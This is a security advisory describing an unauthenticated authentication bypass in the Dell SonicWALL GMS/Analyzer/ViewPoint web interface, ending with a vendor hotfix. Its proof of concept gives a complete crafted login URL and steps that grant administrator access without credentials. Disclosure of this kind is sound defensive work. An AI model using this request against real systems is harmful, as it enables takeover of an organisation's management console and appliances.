Description:
============

DELL SonicWALL GMS/Analyzer/ViewPoint contains a vulnerability that
allows an unauthenticated, remote attacker to bypass the Web interface
authentication offered by the affected product.

The vulnerability is attributed to a broken session handling in the
process of password change process of the web application.
changing in the web application.

An attacker may exploit this vulnerability by sending a specially
crafted request to the SGMS Interface (/sgms/).

The attacker gains full administrative access to the interface and
full control over all managed appliances, which could lead to a full
compromisation of the organisation.

Proof of Concept :
==================

Access the following URL to login to the sgms interface:

http://host/sgms/auth?clientHash=765c5e5b571050030b63666663383064663
83761376339303932346163656262&clientHash2=03196ba18cffc80df87a7c9092
4acebb&changePassword=1&user=admin&ctlSGMSDomainId=DMN00000000000000
00000000001

If the Console is not directly shown, type any password you
want in the change password dialog twice and hit submit to login.

Maybe you need to access the following URL after this process:

http://host/sgms/auth

Solution:
=========

Install Hotfix 125076.77. (Download from www.mysonicwall.com)
